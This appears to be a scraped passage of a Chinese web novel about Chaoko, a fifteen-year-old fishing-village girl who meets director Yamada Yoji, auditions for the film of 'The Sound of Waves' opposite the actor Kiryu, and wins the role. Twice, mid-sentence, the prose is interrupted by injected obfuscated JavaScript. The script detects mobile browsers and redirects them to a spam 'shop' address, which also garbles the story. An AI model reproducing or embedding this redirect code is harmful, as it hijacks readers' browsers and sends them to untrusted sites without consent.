潮子刚从咖啡店下班,回到公寓,正在厨房里洗菜。高桥女士还没回来,厨房里只有水龙头的声音和窗外偶尔传来的电车声。门铃响了。她擦了擦手,走到玄关,拉开门。 森本站在门口。他穿着一件灰色的风衣,领口竖着,手里提着一个牛皮纸袋。看见她,笑了一下。“打扰了。” “森本先生?”潮子愣了一下,往旁边让了让,“请进。” 森本换了鞋,走进来。他把纸袋放在厨房的桌上,从里面拿出几个橘子、一盒蛋糕、一包茶叶。潮子看着那些东西,不知道该说什么。 “不用忙。”森本在椅子上坐下来,“我说几句话就走。” 潮子在他对面坐下。她不知道他要说什么,但她的心跳快了。森本看着她,看了一会儿。她的头发扎起来,露出耳朵,脸上没有妆,干干净净的,却带着少女独特的气息。围裙上沾了水,袖子挽到手肘,露出小臂。她坐在那里,背挺得很直,两只手放在膝盖上,那样乖巧安静。 “山田洋次导演想见你。”森本说。 潮子愣住了。 “上次摄影展,他看到了你的照片。”森本的声音很平,像在说一件很普通的事,“他觉得你符合他下一部戏的女主角。” 潮子坐在那里,一动不动。她的脑子里一片空白,什么声音都听不见了。过了好一会儿,她才开口:“我?” “嗯。” “女主角?” “嗯。” “为什么是我?”她问。 森本没有回答。他从口袋里掏出一张照片,放在桌上。是那张她在海边拍的,坐在礁石上,闭着眼,海风吹着头发。她看着照片里的自己,看了很久。 “你站在那里,”森本说,“山田导演看见了。他说,这就是他一直在找的人。” 潮子抬起头,看着他。她的眼睛很亮,里面有东西在动,但她没有哭。 “森本先生。”她说。 “嗯。” “谢谢您。” 森本看着她,摇了摇头。“先别急着谢我。”他的声音比刚才重了一点,像在提醒她什么,“用不用得上,还得看你自己。导演要见你,是觉得你有可能。但能不能让他点头,是你的事。” 潮子点点头。 “试一试吧。”森本说,“不管成不成,至少试过了。” 他站起来,把纸袋往她那边推了推。“橘子、蛋糕是给你的。茶叶留给高桥女士。”他走到玄关,弯腰穿鞋。潮子跟在他后面,站在门口。 “森本先生。” “嗯?” “什么时候?” “后天下午。我到时候来接你。” 门关上了。走廊里安静下来。潮子站在那里,看着那扇关上的门。手上还有洗菜的水,凉凉的。她把水在围裙上擦干,走回厨房,继续洗菜。但她的手在抖。菜叶在水里晃着,她拿不稳。 那天晚上,她躺在床上,她想着森本说的话。“试一试吧。”她翻了个身,把脸埋在胳膊里。她不知道山田洋次是谁,不知道他要拍什么戏,不知道自己能不能演。她只知道,有一个机会摆在她面前,像一扇门,开着一条缝,光从里面透出来。她要不要推? 她闭上眼睛。要去杂志社跟高桥说一声,那天她不能去帮忙了。 第二天下午,她在杂志社跟高桥说了。 高桥坐在办公桌后面,正在改稿子。听了她的话,放下铅笔,摘下眼镜,看着她。 “山田洋次?” “嗯。” 高桥看了她一会儿,然后笑了。不是那种客气的笑,是真心实意的笑。“去吧。”她说,“祝你好运。” 潮子站在那里,不知道该说什么。高桥站起来,走到她面前,拍了拍她的肩膀。她的手很轻,但潮子觉得肩膀上沉了一下。 “你这样的人,”高桥说,“不管做什么,都不会差。” 潮子低下头。“谢谢您。” “别谢我。”高桥坐回去,戴上眼镜,继续改稿子,“是你自己挣来的。” 那天下午,森本来接她。 他开车来的,一辆灰色的轿车,停在巷口。潮子换了那件深蓝色的连衣裙,把头发放下来。她在镜子前面站了一会儿,看着里面的自己。裙子还是大了一点,袖子还是长了一点。但她没有别的衣服了。 森本看了她一眼,没有评价。“走吧。” 车子开了二十分钟,在一个安静的街区停下来。路两边是银杏树,叶子还是绿的,阳光从叶缝里漏下来,在地上画出碎碎的光斑。森本领着她走进一栋灰色的楼,上到三楼。走廊里铺着地毯,脚步声被吸掉了,安静得像在水底。 他敲了敲一扇门。里面有人应了一声,门开了。 一个年轻人探出头来,看见森本,点了点头。“导演在等。” 潮子跟在森本后面走进去。房间不大,但很高。窗户朝南,光从外面涌进来,把整个屋子照得亮堂堂的。靠墙是一排书架,从地板到天花板,塞满了书和文件。中间有一张长桌,上面摊着稿纸、剧本、烟灰缸、茶杯。桌子的另一头,坐着一个人。 山田洋次站起来。 他比潮子想象的高,瘦,穿着一件深蓝色的毛衣,袖口磨得有点起球。头发灰白。他的脸很瘦,颧骨高,下巴尖,眼睛不大,但很亮。他看着她,没有笑,也没有说话,就那么看着。 潮子站在那里,被他看着。 山田看了她很久。久到她觉得空气都变慢了。然后他的目光从她脸上移开,落在她身上。那条深蓝色的连衣裙,大了一点,袖子长了一点,被她挽了两道,露出细细的手腕。裙摆盖住脚面。 他的目光回到她脸上。那张脸比他想象的小,下巴尖尖的,颧骨的轮廓在光线下显出来。眼睛很大很亮,看人的时候不躲不闪。鼻尖上有一颗痣,不大不小,长在左边。那颗痣让她的脸活了起来——不是那种规规矩矩的美,是活的、野的、不讲道理的美。 他想起那天在摄影展上,站在那张照片前面,心里涌上来的那个念头。那个念头说:就是她。就是这个人。 现在她站在他面前,活生生的,会动的,会呼吸的。他的心跳了一下。她朝他走来的那一刻,他看见的不再是一个十五岁的女孩,是初江。那个在海边长大的少女,那个被海风吹着、被太阳晒着、在浪里来浪里去的少女。她的皮肤是阳光亲吻过的颜色,不是城里女孩那种白,是晒出来的、被海风吹出来的那种,带着光泽,像贝壳的内壁。她站在那里,很瘦,但不是那种弱不禁风的瘦,是结实的、有劲的、能在海里游很远的那种。她的肩膀不宽,但很直,锁骨在领口下面显出浅浅的线条。 他想起小说里的初江。那个海女家的女儿,从小潜水捞鲍鱼,被海浪打得站不稳,但从来不倒。她的美不是沙龙里精心修饰的娇弱,不是那种白得透明、风一吹就倒的美。是从海风和浪涛中直接生长出来的美,带着腥味,带着盐,带着太阳的痕迹。健康的,明朗的,像夏天的早晨。 她的眼睛很大,眼尾微微上挑,看人的时候带着一点妩媚,但又不是故意的。是长在那张脸上自然带出来的。妩媚和柔美在她脸上待在一起,不打架,不别扭。她的眼神很直,没有那种“你看我好不好看”的东西,也没有“我知道自己好看”的东西。只是看着你,安安静静的,像海。 那颗痣长在鼻子上,左边,离鼻孔很近。不抢眼,但你看见了就忘不掉。它让她的脸多了几分娇俏,几分灵动,像画师最后落下的一笔。没有它,这张脸也好看,但有了它,就有了记性。 他在心里转了一圈,从正面到侧面,从侧面到四分之三面。每一个角度都好看。不是那种“这个角度好看那个角度不行”的好看,是三百六十度的好看。她的颧骨在侧面看线条很利,下巴尖尖的,鼻梁从眉心一路下来,到鼻尖那里微微收住。额头不高不低,发际线有一点碎发,毛茸茸的。她的脸不是那种工工整整的美人脸,是有棱角的,有骨头的,有脾气的。但那些棱角没有破坏她的柔美,反而让柔美有了骨头。 他注意到她的手。她站在他面前,两只手放在身侧,没有攥着,也没有藏。手指细长,指甲剪得很短,指节上有一层薄薄的茧子。不是那种拿笔磨出来的,是干活干出来的。他想起小说里的初江。初江虽然是个大小姐,但她没有大小姐的脾气,她会和下人一起干活,会潜水捞鲍鱼,会在厨房里帮忙。她的手上也有茧子。不是养尊处优的手,是会做事的手。 山田看着她,看着那双眼睛,那颗痣,那双手。他心里的那个角色,那个在他脑子里住了很久、一直没找到脸的角色,突然活了。初江有了眼睛,有了鼻子,有了嘴唇,有了那颗痣,有了那双手。她站在那里,不是照片里的影子,是活的。她会笑,会皱眉,会低下头不说话。他看见了。他什么都看见了。 他站在长桌后面,没有说话。旁边的人都在等,等着他说什么。但他什么都没说。他只是看着她,看着这个从海边来的、穿着不合身的连衣裙的站在地毯上的女孩。她不知道他脑子里在想什么。她只是站在那里,等着,不躲不闪。 过了一会儿,他开口了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486553|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你就是潮子?” “是。” “坐吧。” 潮子在椅子上坐下来,背挺得很直。山田也坐下来,把桌上的稿纸往旁边推了推,露出桌面。他看着她,看了一会儿。 “你知不知道我为什么叫你来?” “森本先生说,您看到了我的照片。” “嗯。”山田点点头,“那张照片拍得好。但照片是照片,人是人。我想看看你这个人。” 潮子没说话。她不知道他看到了什么。她只知道自己坐在这里,穿着妈妈的衣服。 “你从哪里来的?”山田问。 “静冈。海边的一个小渔村。” “家里做什么的?” “妈妈在酒肆上班。”她没有说“陪酒”。但山田听懂了。 他点点头,没有继续问。他看着她,看着她坐的样子。她的背很直,没有靠在椅背上,两只手放在膝盖上,指尖朝前。不是那种被教过的坐姿,是坐惯了硬板凳的人才会有的坐法。她的眼睛看着他,没有躲,也没有那种“你快说我要不要我”的着急。只是等着,安安静静的。 “你读过书吗?”他问。 “在村里读到四年级。后来去镇上读初中。现在在东京读夜校。” “夜校?”山田的眼睛动了一下,“白天呢?” “在咖啡店打工。下午在杂志社帮忙。”她的声音只有平静,仿佛是一件再寻常不过的事。 山田看着她,看了很久。他想起自己年轻的时候,也打过工,也吃过苦。但不一样。他是东京人,再怎么苦,也有个地方回去。她不一样。她从海边来,一个人,什么都没有。她坐在那里,干干净净的,什么都没有,什么都不怕。 “你知不知道我要拍什么?”他问。 “不知道。” “《潮骚》。”他说,“三岛由纪夫的《潮骚》。” 潮子没有说话。她没读过这本书。她连三岛由纪夫是谁都不知道。但她记住了这个名字。 山田看着她。她不知道《潮骚》,不知道三岛由纪夫,不知道他为什么叫她来。她只是坐在这里,穿着不合身的连衣裙等着。他不知道她能不能演。他不知道她有没有那个天分。但他知道一件事——她站在那里,就是初江。不是像初江,是就是。初江的美是健康的、明朗的、从海风里长出来的。她也是。初江的眼睛是清澈的、直直的、不躲不闪的。她也是。初江的手上有茧子,会干活,不娇气。她也是。初江不是那种坐在屋里等别人来爱的人,她是自己走到浪里去、站在水里等浪打过来的人。她也是。 “下个星期,”他说,“你来试镜。” 潮子的心跳了一下。“好。” 山田点点头,低下头,继续看桌上的稿纸。好像刚才什么都没发生过。旁边的人走过来,把一张纸条递给潮子,上面写着地址和时间。潮子接过来,攥在手心里。 森本站起来,跟山田点了点头。山田抬起头,看了森本一眼,又看了潮子一眼。 “你叫什么来着?”他问。 “浜田潮子。” “潮子。”他念了一遍这个名字,“下个星期见。” 潮子站起来,跟着森本往外走。走到门口的时候,她停下来,回头看了一眼。山田已经低下头,继续改稿子了。窗外的光照在他身上,把他的影子拉得很长。她站在那里,看了一秒钟,然后推门出去。 走廊里很安静,地毯把脚步声都吃掉了。森本走在前面,她跟在后面。她没有说话,也没有回头。她的手心里攥着那张纸条,攥得很紧。 出了大楼,阳光照在她脸上,暖洋洋的。她站在那里,仰着头,看着天。天很蓝,蓝得像海边的那种蓝。她不知道为什么会想起海。也许是因为山田导演说的那本书。也许是因为他看她的眼神。也许是因为他说“你站在那里,就是初江”。她不知道初江是谁。但她觉得,那个人一定和她很像。 森本站在旁边,没有说话。他从口袋里掏出车钥匙,打开了车门。 “走吧。”他说。 潮子坐进车里,把纸条小心地放进裙子口袋里。车子发动了,窗外的银杏树一棵一棵往后退。她看着那些树,看着阳光从叶缝里漏下来,在地上画出碎碎的光斑。她不知道那扇门后面等着她的是什么。但她知道,她已经站在门口了。她不需要推。门自己开了。 那天晚上,她躺在床上,她听着远处的电车声,想着山田说的那句话。“你站在那里,就是初江。”她不知道初江是谁。但她觉得,那个人一定活得很用力。像她一样。 19. 第 19 章 潮子用了三天时间读完了《潮骚》。 书是森本先生送来的,旧版的文库本,书页已经泛黄,边角卷起来,封面上印着一片灰蓝色的大海。她坐在榻榻米上,从第一页开始读,读到天黑,开了灯继续读。高桥女士在外面敲了两次门,问她吃不吃晚饭,她说等一会儿。第二次敲门的时候,她把书放下,去厨房吃了一碗茶泡饭,又回到房间,继续读。 小说不长,她读到半夜就读完了。合上书的时候,她坐在那里,看着窗台上那枚贝壳,很久没有动。 她终于明白了山田导演说的那句话——“你站在那里,就是初江。” 初江是在海边长大的,她的父亲是海女,她从小学潜水,被海浪打着,被海风吹着。她不是那种养在深闺的娇弱女孩,她的美是从风浪里长出来的。她喜欢新治,就大大方方地喜欢,不扭捏,不躲闪。暴风雨那天,她跑去灯塔看新治,被雨淋得透湿,躲进山间的小屋。 她主动说“咱俩都脱光吧”,不是轻浮,是觉得坦诚相见就没有不好意思了。但当新治想要更进一步的时候,她拦住他,说“在嫁人之前不能做这种事”。她知道自己在做什么,也知道什么能做、什么不能做。她不是被命运推着走的人,她是自己走到浪里去的人。 潮子想起自己。想起那天在废弃的小屋里,她捧着健一郎的脸,疯狂地吻他。他把她按在干草上,她以为会发生什么,但他停下来,说“不可以”。他撑起手臂看着她,胸口剧烈地起伏着,但他没有碰她。她那时候不明白,以为他是不想要她。现在她明白了。他是太珍视她了,珍视到不愿意在她离开之前留下任何会让她后悔的东西。 她把书放在枕头底下,和那枚贝壳放在一起。她闭上眼睛,想起健一郎的脸。他站在铁轨边上看着她走,虽然没有说“我永远在这里等着你”,但那眼神告诉她,他会的。她没有哭。她只是把那枚贝壳攥在手心里,攥得很紧。 试镜那天,她提前到了。 走廊里很安静,日光灯嗡嗡地响,照得墙上白花花的。她在长椅上坐下来,把剧本翻开。剧本只有一页纸,是初江和新治在小屋里的那场戏。她读了一遍,又读了一遍。纸上的字在她眼前晃着,她看不进去。不是紧张,是别的什么。这些台词,这个场景,她太熟悉了。她不是在看剧本,是在看自己。那天在小屋里,干草的味道,雨打在屋顶上的声音,健一郎把她按在干草上,他的额头抵着她的额头,他说“不可以”。 她的手指攥着剧本,指节发白。她闭上眼睛,深吸了一口气。她可以演。不是演,是把自己拿出来。 走廊另一头的门开了,出来一个人。她没抬头,只听见皮鞋踩在地板上的声音,不紧不慢的,从里面走出来,在她旁边的椅子上坐下来。她没有看他,把剧本翻了一页,假装在读。但她读不进去。她能感觉到旁边有人坐着,安安静静的,不说话,也不看她。只是坐在那里。 她穿着那双从渔村带来的木屐,带子换过好几次了,木底磨得光滑。木屐夹在脚趾间,时间长了有点疼。她弯下腰,把木屐脱了,光脚踩在地板上。地板是木头的,凉凉的,贴着脚心,反而踏实了。她把木屐整齐地摆在椅子旁边,重新坐好。 过了一会儿,她忍不住瞥了一眼旁边。是个年轻人,比她高很多,穿着一件白色的衬衫,袖子挽到手肘,露出小臂。他的侧脸很干净,不是那种白净的干净,是看起来让人觉得舒服的那种。他的手里拿着一本剧本,翻到某一页,低着头在看。头发垂在额前,被穿堂风轻轻撩起又落回去。整个人是静的,但不是寡淡的静,是那种收着劲的静, 潮子把目光收回来,继续看自己的剧本。她不知道为什么要注意他。也许是因为走廊里只有他们两个人,也许是因为他坐在那里的样子不像其他人那样让人紧张。他只是坐着,不做什么,但你知道他在。 过了一会儿,有人从里面出来,喊她的名字。“浜田潮子。” 她站起来。旁边那个年轻人抬起头,看了她一眼。目光落在她脸上,又落在她光着的脚上,停了一秒。她没有穿鞋,光脚站在地板上,脚趾上有小时候被礁石割破留下的浅浅印子。他没有露出那种“这人好奇怪”的表情,也没有问“你怎么不穿鞋”。他只是看了她一眼,然后低下头,继续看剧本。 潮子把脚伸进木屐,站起来,跟着工作人员走进去。木屐踩在地板上,哒哒地响。门在她身后关上了。 房间很大,灯全开着,亮得刺眼。桌子后面坐着三个人,中间是山田导演,旁边两个她不认识。桌子旁边还站着一个人,手里拿着剧本,是来搭戏的。 山田抬起头,看见她,点了点头。“来了。” “是。” “剧本看了?” “看了。” “书呢?” “也看了。” 山田看了她一眼,没有再说什么。旁边的人走过来,把一张新的纸递给她。“今天的试镜就用这段。你看一下,准备好了就说。” 潮子接过纸,低头看。是小屋那场戏。初江的台词她已经背下来了,但她还是看了一遍。纸上的字很整齐,印在白色的纸上,黑白的,冷的。她想起那个下午,那间废弃的小屋,那些干草,那些雨声。她把纸放在桌上,低下头,把木屐脱了。光脚踩在地板上,凉凉的。她深吸了一口气,抬起头。 “可以开始了。” 山田点点头。旁边那个搭戏的演员走过来,站在她面前。是个三十多岁的男人,戴着眼镜,手里拿着剧本,脸上带着职业性的微笑。他看了她一眼,开始念新治的台词。声音平平的,像在念课文,没有起伏,没有温度。 潮子看着他。不是健一郎。不是那个站在铁轨边上看着她走的人,不是那个在废弃的小屋里说“不可以”的人。她低下头,看着自己的脚。脚踩在地板上,凉凉的。 “不行不行……”她的声音很小,小得像在跟自己说话。“姑娘在嫁人之前不能做这种事。” 对面的人继续念台词。声音还是那样,平平的,没有感情。潮子听着那个声音,突然觉得烦躁。她不是在对这个人说话。这个人不是新治,不是健一郎,不是任何一个值得她说这些话的人。她停了下来。 “导演。”她抬起头,看着山田。“我可以换个人吗?” 房间里安静了一下。旁边两个人互相看了一眼,山田没有动。他看着潮子,看了几秒钟。 “换谁?” 潮子张了张嘴,说不出名字。她不知道那个人叫什么。她只知道他坐在走廊里的时候,眼神很安静,不刺眼。 门口传来一个声音。 “我可以。” 潮子转过头。是那个年轻人。他站在门口,不知道什么时候进来的,可能是她念台词的时候,可能是之前。他穿着白色的衬衫,袖子挽到手肘,站在那里,安安静静的。他看着她,目光很平静,没有多余的东西。他看了山田一眼,山田看着他,点了点头。 年轻人走进来,站在她面前。比刚才那个人近一些。她看得清他的脸——他的眼睛是典型的凤眼,细长,眼尾微微上挑,不是凌厉的上扬,是那种带着弧度的、像毛笔轻轻勾了一笔的优雅。眼皮薄,眼窝不深,瞳仁是浅褐色的,清澈见底。 那双眼尾微扬的眼,本该带几分风流与傲气,但他偏生把它们活成了一种世间最干净、最温和的模样。那双眼睛底下还有一种很厚的包容——不管你做什么,他好像都觉得没关系。不是纵容,是理解。他没有拿剧本,只是看着她,等着。 潮子看着他。他的眼睛很安静,不着急,不催促,像在说“你慢慢来”。她想起健一郎。不是长得像,是那种感觉——站在那里,不说什么,但你知道他在。她深吸了一口气。 “开始。”山田说。 潮子没有马上说话。她看着他,看着他的眼睛。那双眼睛安安静静的,没有表演,没有技巧,只是看着她。她突然觉得不紧张了。她不是在演戏,她是在跟一个人说话。 “不行不行……”她的声音比刚才稳了。“姑娘在嫁人之前不能做这种事。” 年轻人没有说话。剧本里新治是有台词的,但他没有念。他只是看着她,等着她继续说。潮子看着他的眼睛,那双眼睛让她想起那间小屋,想起干草的味道,想起健一郎撑在她上方、胸口起伏的样子。她知道他在等她。不是等她说台词,是等她把自己拿出来。 “现在不行。”她的声音不抖了。“我,已经决定嫁给你了嘛。” 她看着他的眼睛。那双眼睛里有什么东西动了一下——不是惊讶,是别的什么。像什么东西被轻轻地碰了一下。她不知道那是什么,但她看见了。她知道他在听,不是在听台词,是在听她。 “到过门之前,无论如何都不行。” 她说完了。他没有接台词。他只是看着她。她看着他。房间里很安静,安静得能听见日光灯嗡嗡的声音。 潮子站在那里,看着他。她没有在演初江,她是在说自己的话。那间小屋,那些干草,那场雨,健一郎撑在她上方说“不可以”。她的眼睛很亮,里面有东西在烧。不是演出来的,是真的。 桐生站在那里,看着面前的这个少女。 他刚才坐在走廊里等的时候,她就坐在他旁边。他注意到了她——很难不注意。她穿着一件太大的深蓝色连衣裙,袖子挽了两道,脚边摆着一双木屐,带子换过好几次,木底磨得光滑。她低着头看剧本,头发有一点乱,大概是路上被风吹的。她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486554|202041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧脸很好看,鼻子挺挺的,下巴尖尖的,睫毛很长,像两把小扇子。他看了一眼,就收回了目光。他不想让她觉得被盯着看。 但他忍不住又看了一眼。她的手指攥着剧本,指节发白。她在紧张。他看得出来,因为她的手在抖,纸在手里簌簌地响。但她没有站起来走来走去,也没有深呼吸,只是坐在那里,攥着剧本,像一棵被风吹着的小树,晃,但不倒。后来她弯下腰,把木屐脱了,光脚踩在地板上。他看见她的脚趾上有浅浅的印子,大概是小时候留下的。她脱了鞋之后,肩膀好像松了一点,没有那么绷着了。 他想着,这个人是谁。年纪很小,看起来比他小好几岁。一个人来试镜,没有经纪人,没有助理,穿着木屐,光着脚。她坐在那里,和这个走廊里的一切都不搭,她只是坐着,等。 后来有人叫她的名字,她站起来,把脚伸进木屐,从他面前走过去。木屐踩在地板上,哒哒地响。她走路的姿势很好看,背挺得很直,步子不大,但很沉稳。她没有看他,但他看了她一眼。她比他矮很多,瘦瘦的,裙摆拖在地上,她也不管。她走到门口,推门进去。门关上了。 他坐在走廊里,等着自己的试镜。但他发现自己一直在想她。想她光着的脚,想她攥着剧本的指节,想她低下头的时候睫毛投在脸上的影子。他说不清楚为什么。他见过很多漂亮的人,演员、模特、试镜的女孩。她不是最漂亮的,但她站在那里,就是让人忘不掉。 现在她站在他面前。灯光从上面照下来,照在她脸上。她的脸很小,下巴尖尖的,颧骨的轮廓在光线下显出来。她的眼睛很大,很亮,看着他的时候,不躲不闪。她的鼻子上有一颗痣,不大不小,长在左边,离鼻孔很近。他那天在走廊里没有注意到这颗痣。现在看见了,就再也忘不掉。 她说台词的时候,他看着她的眼睛。那双眼睛很亮,里面有东西。不是那种演员训练出来的“情绪”,是真实的、活生生的、从什么地方长出来的东西。她在看着他的时候,看的不是他。是另一个人。他不知道那个人是谁,因为她说“在嫁人之前不能做这种事”的时候,声音里没有害怕,没有犹豫,只有一种很深的、很认真的东西。那是被人珍视过的人才会有的语气。 他想起剧本里的初江。那个在海边长大的少女,那个主动说“咱俩都脱光吧”的少女,那个在关键时刻拦住新治说“不行”的少女。她是纯真的,但不是无知的;她是主动的,但不是轻浮的。她知道自己要什么,也知道什么不能要。他面前的这个少女,就是初江。 不是像,不是演,是就是。她站在那里,光着脚,穿着不合身的裙子,头发乱着,脸上的表情没有一丝表演的痕迹。她说“我已经决定嫁给你了”的时候,他相信了。不是因为他信了台词,是因为她信了那个人。那个她心里的人。 他不知道自己站在那里看了她多久。也许只有几秒钟,也许很长。他只记得她说完最后一句台词的时候,房间里安静了很久。没有人说话。山田导演坐在桌子后面,看着她,没有说话。旁边两个人也没有说话。她站在那里,手里攥着那张剧本,指节发白。她不知道结果怎么样。她只是站在那里,等着。 “够了。”山田说。 潮子抬起头,看着他。 山田低下头,在纸上写了几个字。旁边的人站起来,走到她面前。“可以了,回去等通知。” 潮子点点头。她弯腰穿上木屐,转过身,往门口走。走了两步,停下来。她回过头,看着桐生。他还站在那里,看着她。他的表情没有变,还是那样安安静静的,但眼睛里有什么东西,像光,像火,像那天在海边,森本先生按下快门的时候,她闭着眼睛感觉到的那片暖意。 “谢谢。”她说。声音很轻。 桐生看着她。她只是说了“谢谢”。好像他在刚才那几分钟里,给了她什么很重要的东西。他不知道自己给了什么。他只是站在那里,看着她。 “不客气。”他说。 潮子点点头,转身走了。木屐踩在地板上,哒哒地响,越来越远。门在她身后关上。 桐生站在那里,看着那扇关上的门。他想,他刚才看见的不是一个十五岁的女孩在试镜。他看见的是初江。那个从海里走出来的少女,站在他面前,跟他说“我已经决定嫁给你了”。他相信了。不是因为他是个演员,是因为她让他相信了。 他的手心里有汗。他不知道自己为什么紧张。他只是在旁边站了一会儿,什么都没做。但他觉得,他刚才经历了什么很重要的东西。他说不清楚,但他知道,他会记住这一天。记住这个光着脚、穿着深蓝色连衣裙、鼻尖上有一颗痣的少女。记住她看着他的时候,眼睛里那片很深很亮的东西。那是初江的眼睛。也是她的。 20. 第 20 章 通知是在试镜后第五天来的。 那天傍晚,潮子正在高桥女士的公寓里打扫卫生。电话铃响了,高桥在客厅改稿子,朝她喊了一声:“潮子,电话。找你的。” 潮子愣了一下——来东京这么久,从来没有人打电话找过她。她放下抹布,走到走廊里,拿起听筒。 “浜田小姐吗?”电话那头是森本的声音,很稳,但比平时快了一点。“选上了。” 潮子握着话筒,没有说话。她听见自己的心跳,咚、咚、咚,像有人在砸门。 “山田导演说,你就是初江。” 她还是没说话。高桥从客厅探出头来,看了她一眼,没有催。过了一会儿,潮子对着话筒说:“谢谢您。”声音很轻,但很稳。 挂了电话,她站在走廊里,手里还攥着听筒。高桥放下笔,走出来。 “怎么了?” “选上了。”潮子说。 高桥愣了一下,然后笑了。她没有问选上什么,只是伸出手,抱了她一下。很轻,很短,但潮子感觉到她的手在她背上拍了两下,像哄小孩那样。 “我就知道。”高桥说。她松开潮子,转身往厨房走。“今天晚上加菜,庆祝一下。” 高桥已经打开了冰箱,把里面的东西一样一样拿出来——半棵白菜,一块豆腐,两根葱,一条鱼,还有一小块猪肉。她看了看那些东西,又看了看潮子。 “够吗?” “够了,”潮子说,“我来做。” “一起做。”高桥把围裙递给她一条,自己系上另一条。两个人站在小小的厨房里,水池只有一个,灶台也只有一个,转身的时候肩膀碰着肩膀。高桥切菜,潮子煮汤。刀落在案板上的声音,水在锅里咕嘟咕嘟的声音,还有窗外的电车声,混在一起,小小的厨房里满满当当的。 高桥切白菜的时候,刀顿了一下。“你小时候,谁做饭?” “我妈妈,”潮子想了想,“有时候我做。她很忙,晚上要上班。” 高桥只是点点头,继续切菜。潮子把豆腐放进锅里,看着它在热水里翻滚。白色的,软软的,浮起来又沉下去。她想起小时候,妈妈也是这样煮豆腐的。没有肉,没有葱,只有豆腐和水,撒一点盐。她站在灶台前面,够不着,要踮着脚才能看见锅里面。妈妈从后面抱住她的腰,把她举起来,让她看。那是她记得的妈妈最温柔的时候。 “怎么了?”高桥问。 “没什么。”潮子把豆腐捞出来,放在盘子里。 两个人做好了饭,端到桌上。高桥倒了一杯啤酒,给潮子倒了一杯橘子汁。两个人面对面坐着,筷子碰着碗,发出轻轻的响声。 “高桥女士。” “嗯?” “谢谢您。” 高桥抬起头,看着她。厨房的灯光照在潮子脸上,照在她鼻尖那颗痣上。她的眼睛很亮,里面有泪光在闪,但没有掉下来。 “不用谢我,”高桥端起酒杯,喝了一口,“是你自己争气。” 潮子低下头,把碗里的饭吃完。每一粒米都吃干净了。她站起来,把碗筷收进水池里,打开水龙头。高桥坐在桌边,端着酒杯,看着她的背影。瘦瘦的,肩膀窄窄的,但很直。她洗了很久,把每一个碗都擦了三遍。 “潮子。” “嗯?” “你妈妈知道了吗?” 潮子的手停了一下。水还在流,哗哗的。“还没有。” “给她打个电话吧,”高桥说,“她一定想知道。” 潮子把碗放进柜子里,关好门。她站在厨房里,看着窗外的东京。霓虹灯已经亮了,红的,蓝的,绿的,那么繁华。她想着妈妈。她现在在干什么?在酒肆里打扫,还是已经喝醉了,趴在柜台上睡着了?她不知道。她只知道,妈妈一定在等她电话。 “明天打。”她说。 高桥点点头,没有再说。 那天晚上,潮子躺在榻榻米上。她想起妈妈,想起酒肆里那盏昏黄的灯,想起那些男人的笑声,想起妈妈把学费塞进她手里的时候,手指在抖。她闭上眼睛。明天要给妈妈打电话。告诉她,她选上了。告诉她,她要拍电影了。告诉她,她没有丢人。 制作发表会在开机前一周,地点是银座一家酒店的宴会厅。 潮子从来没有来过这样的地方。电梯门打开的时候,她看见走廊里铺着深红色的地毯,走上去一点声音都没有。墙上挂着画,金色的画框在灯下反着光。她低头看了看自己的脚——今天穿了鞋,是高桥女士陪她去买的,一双白色的帆布鞋,鞋底硬邦邦,她还是不太习惯。 宴会厅不大,摆了四五排椅子,已经坐了一半的人。最前面是一张长桌,铺着白布,上面摆着几束花和一堆话筒。那些话筒立在那里,像一片小小的黑色的森林。潮子站在门口,看着那些话筒,心跳突然快了起来。 她转过头,看见一位青年从走廊那头走过来。他穿着白色的衬衫和深色的西裤,头发梳得很整齐,步子不快不慢。走到她面前,他停下来,微微欠了欠身。 “浜田小姐,我是桐生航一。请多关照。” 他的声音不高,语气礼貌但不疏离,像在说一件很自然的事。潮子愣了一下,然后想起在试镜的走廊里,那个坐在她相邻位置的白衬衫年轻人。她认出了他的脸。原来是他。 “您好,桐生君。我是浜田潮子。请多关照。”她微微鞠了一躬。 他点了点头,目光在她脸上停了一下,然后落在她的帆布鞋上,很快又收回来。 “紧张吗?”他问。 “有一点。”她说。 “不用紧张。你站在那里就行。”他的声音很平,像在说一件已经确定的事。他看着她,像是在确认她听进去了。然后又说了一句:“我第一次拍电视剧的时候,比你现在紧张多了。上台前手心都是汗。” 潮子认真地看着他,点点头。 工作人员走过来,领着他们走到前面。山田导演已经坐在中间了,左边空着,是桐生的位置,右边空着,是潮子的位置。潮子坐下来,椅子比家里的高,她的脚够不着地面,帆布鞋悬在半空,晃了一下。她赶紧停住,把脚缩回去,藏在桌子下面。 灯亮了。不是普通的灯,是那种摄影用的灯,亮得刺眼。快门的声音咔嚓咔嚓地响起来,密得像夏天的蝉鸣。潮子眯了一下眼睛,但没有躲。她坐在那里,背挺得很直,眼睛看着那些镜头,不躲不闪。 记者们开始提问。先是问山田导演,为什么想拍《潮骚》,为什么选在这个时间,为什么选这座岛。山田导演的回答很短,像他拍的电影一样,不急不慢。 然后有人问桐生:“桐生君,这次和新人搭档,有什么感想?” 